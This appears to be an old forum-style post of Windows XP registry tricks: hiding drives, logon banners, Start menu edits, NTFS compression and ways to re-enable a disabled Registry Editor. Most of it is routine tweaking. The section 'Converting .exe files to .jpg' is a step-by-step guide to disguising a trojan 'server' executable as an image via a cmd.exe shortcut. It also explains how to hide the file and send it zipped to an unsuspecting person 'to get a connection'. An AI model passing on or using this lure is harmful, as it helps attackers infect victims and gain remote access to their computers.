EXTRA ORDINARY XP TRICKS & HACK

1) Disabling Display of Drives in My Computer :

This is yet another trick you can play on your geek friend. To disable the display of local or networked drives when you click My Computer go to :

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh.

When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item. It's .reg file is as follows: REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives"=dword:03ffffff

2) Pop a banner each time Windows Boots :

To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon

Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it: LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box. It's .reg file would be: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon] "LegalNoticeCaption"="Caption here."

4) Deleting System Options from the Start menu :

You can actually remove the Find and Run options from the start menu by performing a simple registry hack. Again like always Launch the registry editor and scroll down to the below key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Right-click on the right pane and select New, DWORD Value. Name it NoFind.(To remove the RUN option name it NoRun). Double-click the newly create DWORD to edit it's value and enter 1 as its value. This will disable the FIND option of the Start Menu and will also disable the default Shortcut key(F3 for Find.) To restore the Run or find command modify the value of the DWORD to 0 or simply Delete the DWORD value.

5) Cleaning Recent Docs Menu and the RUN MRU :

The Recent Docs menu can be easily disabled by editing the Registry. To do this go to the following Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Now in the right pane, create a new DWORD value by the name: NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the changes. You can also clear the RUN MRU history. All the listings are stored in the key: HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMR U You can delete individual listings or the entire listing. To delete History of Find listings go to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find Spec MRU and delete

6) Can u Delete Recycle Bin?

1 thing is 4 sure, delete option can be added 2 recycle bin...
the old registry thing will work out.....
* launch d registry...
* open HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
* to add a rename and delete option, change the Dword attribute to 70 01 00 20
* refresh and reboot the system..... u r done.

PS: always backup ur data as well as registry b4 attempting 2 work on it if u r a newbie....

7) To change the icons used for specific drives in

Open regedit by typing regedit into start->run

then navigate to

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer

now create a key(KEY not VALUE!!) called DriveIcons under Explorer...
now within DriveIcons, create another key with the drive letter you want to change (e.g.,HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\K)...
create another key within the drive letter key called DefaultIcon...
now set the default String value equal to the icon you want to use. if you have a file that has more than one icon in it, such as a DLL file, use the standard
C:\full_path\icon_file.dll,n ) where n is the number of the icon within the file icon_file.dll...

Disabling Scandisk
When Windows is not shut down correctly, it will perform an AutoCheck
using CHKDSK on the next restart.

AutoCheck is executed after a short time delay. AutoCheck can be
disabled or delayed by tweaking a few Registry settings.
Run ‘Regedit’ from ‘Start Menu|Run...’
Go to ‘HKEY_LOCAL_MACHINE|SYSTE
M|CurrentControlSet|Control|Session
Manager’.
Create a new DWORD value, or
modify the existing value, called
“AutoChkTimeOut” and set it according
to the value data below.
Value Name: AutoChkTimeOut.
Data Type: REG_DWORD (DWORD Value).
Value Data: Time in Seconds or 0 to disable
(default = 10).
Exit your registry, you may need to
restart or log out of Windows for the
change to take effect.

Monitoring the system
There are various applications you can use to monitor the state of your
system at any given time. One of them is a program called CoolMon (www.coolmon.org) where you can monitor about 22 of
the most geekiest system parameters like the temperature and speed of your system fans, the number of processes running, the total available memory on your hard disk and RAM, CPU utilization, etc. Each
of these can be individually con. gured to appear on the interface. Best of all, this monitoring happens in real time. Better still, the program is free.
If you need more details than what is offered by Windows System Information or the Device Manager, try out an application called Everest Home Edition (www.lavalys.com). This application hunts through your hardware and software setup and extracts every piece of information you might need about your processor, motherboard, graphics card,
hard disk and any other piece of hardware or software information that you might care to know about your computer.

Compress drive to save disk space
its not possible to increase ur memory size but u can compress ur data to save ur disk space, this feature is available in NTFS drive..
if u have a fat or fat32 drive, u can convert it to ntfs by running a command on dos:
for c drive:
convert c:/fs:ntfs
for d drive:
convert d:/fs:ntfs
for e drive:
convert e:/fs:ntfs
run the command similarly if u have more drive...

Compresing data in NTFS

* open my computer
* select any drive(drive with NTFS format)
* right click and select properties
* click on general tab
* select "compress drive to save disk space"
* Apply and OK

ur data will remain safe...

Rename IE's Title Bar
If you would like to see a new name for Internet Explorer in its title bar, here's how:

1. Go to: Start >> Run
2. Type in: REGEDIT
3. Navigate to: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
4. Single click on "Main" to view its contents in the right pane. Scroll down and check to see if an entry "Window Title" exists. If it does not exist, then go up to Edit >> New>> String Value.
5. Right click on your new String Value entry and select "Modify" in the resulting menu.
6. In the "Value data" text box, type in whatever you would like the title bar to read, select OK when done. I have mine named "5 Star Support Explorer".

If you have done this correctly, the next time you open up Internet Explorer, you should see your new name at the title bar.

Power Off at Shutdown
Encourage Windows XP to Power Off at Shutdown
Do you want your computer's power to turn off when you shut it down, so you won't have to manually push the power button? Here's how:

1. Click Start, then click the Run command.
2. Type REGEDIT in the Open text box and click OK.
3. Navigate to the following Registry key: HKEY CURRENT USER\Control Panel\Desktop
4. Find the PowerOffActive entry in the right pane of the Registry Editor and double click on it.
5. In the Edit String dialog box, replace the 0 in the Value data text box with a 1, then click OK.
6. Restart the computer.

Make your folders invisible...

1)Right Click on the desktop.Make a new folder
2)Now rename the folder with a space(U have to hold ALT key and type 0160).
3)Now u have a folder with out a name.
4)Right click on the folder>properties>customize. Click on change icon.
5)Scroll a bit, u should find some empty spaces, Click on any one of them.

click ok

Converting .exe files to .jpg

1. Firstly, create a new folder and make sure that the options 'show hidden files' is checked and ‘hide extensions for
known file types’ is unchecked. Basically what u need is to see hidden files and see the extension of all your files on
your pc.

2. Paste a copy of your server on the new created folder. let's say it's called server.exe
(that's why you need the extension of files showing, cause you need to see it to change it)

3. Now you’re going to rename this server.exe to whatever you want, let’s say for example picture.jpeg

4. Windows is going to warn you if you really want to change this extension from exe to jpeg, click YES.

5. Now create a shortcut of this picture.jpeg in the same folder.

6. Now that you have a shortcut, rename it to whatever you want, for example, me.jpeg.

7. Go to properties (on file me.jpeg) and now you need to do some changes there.

8. First of all delete all the text on field START IN and leave it empty.

9. Then on field TARGET you need to write the path to open the other file (the server renamed picture.jpeg) so u
have to write this: C:\WINDOWS\system32\cmd.exe /c picture.jpeg

10. The last field, c picture.jpeg is always the name of the first file. If you called the first file soccer.avi you
gotta write C:\WINDOWS\system32\cmd.exe /c soccer.avi got it?

11. So what you’re doing is when someone clicks on me.jpeg, a cmd will execute the other file picture.jpeg and the
server will run.

12. On that file me.jpeg (shortcut), go to properties and you have an option to change the icon. click that and a
new window will pop up and u have to write this: %SystemRoot%\system32\SHELL32.dll . Then press OK.

13. You can set the properties HIDDEN for the first file (picture.jpeg) if you think it’s better to get a connection
from someone.

14. But don’t forget one thing, these 2 files must always be together in the same folder and to get connected
to someone they must click on the shortcut created not on the first file. So rename the files to whatever you want
considering the person and the knowledge they have on this matter.

15. For me for example I always want the shortcut showing first so can be the first file to be opened.
So I rename the server to picture2.jpeg and the shortcut to picture 1.jpeg. This way the shortcut will show up first.
If you set hidden properties to the server (picture.jpeg) then u don’t have to bother with this detail but I’m warning
you, the hidden file will always show up inside of a zip file or rar.

16. So the best way to send these files together to someone is compress them into zip or rar.

17. inside the RAR or ZIP file you can see the files properties and even after all this work you can see that the
shortcut is recognized like a shortcut but hopefully the person you sent this too doesn’t know that and is going to
open it.

Cannot Access Regedit, How to Fix It?

Registry Editing Has Been Disabled By Your Administrator
Step by Step Methods for Fixing Registry Editor

Many times when working on a computer that has been infected with a virus, trojan, or piece of spyware I find myself with my most important command, Regedit, the Windows Registry Editor being disabled. Virus creators like to disable the Registry Editor so it makes solving the problem and removing the issue difficult.

Sometimes administrators in IT departments may place restrictions on using the regedit command to keep employees from changes things on company computers, but viruses and other issues may also try to disable it.

Listed below you will find the different ways to enable regedit, the Registry Editor.

First we'll begin with the method that appears to work the best.

Method 1 - Enabling the Registry with VBScript

Doug Knox, a Microsoft Most Valuable Professional, has created a VBScript that enables or disables the Registry Editor based on the following location in the registry. Of course, since the registry editor is disabled, you can't change it manually, so Doug wrote a Visual Basic Script to accomplish the task.

HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\System\

Visit Doug's page and download Registry Tools VBScript to your desktop, double-click on it to run it, then reboot your computer and try to open the Registry Editor.

If this fix didn't solve your problem, try method two shown below.

Method 2: Use Symantec's tool to reset shell\open\command registry keys

Sometimes worms and trojans will make changes to the shell\open\command registry entries as part of their infections. This will cause the virus to run each time you try to run an .exe file such as the Registry Editor. In these cases, visit Symantec's website and download the UnHookExec.inf file to your desktop. Right-click on it and choose Install. Restart your computer and then try to open the Registry Editor.


Method 3: Rename Regedit.com to Regedit.exe

Some viruses and other malware will load a regedit.com file that is many times a zero byte dummy file. Because .com files have preference over .exe files when executed if you type REGEDIT in the run line, it will run the regedit.com instead of the real regedit.exe file.

Delete the regedit.com file if its a zero byte file to restore access to REGEDIT. In some cases, such as the W32.Navidad worm, you'll need to rename the REGEDIT file to get it to work.



Method 4: Windows XP Professional and Group Policy Editor

If you have Windows XP Professional and access to an administrative user account, you could change the registry editor options in the Group Policy Editor.

1. Click Start, Run
2. Type GPEDIT.MSC and Press Enter
3. Go to the following location
• User Configuration
• Administrative Templates
• System
4. In the Settings Window, find the option for "Prevent Access to Registry Editing Tools" and double-click on it to change.
5. Select Disabled or Not Configured and choose OK
6. Close the Group Policy Editor and restart your computer
7. Try opening REGEDIT again

Although there are a few other ways, the above ways I have used with great success in re-enabling the REGEDIT command. If you are interested in more ways to reactive the REGEDIT command, you may want to visit a site called Killian's Guide, that goes into more detail on a variety of ways to get the registry editor to work again.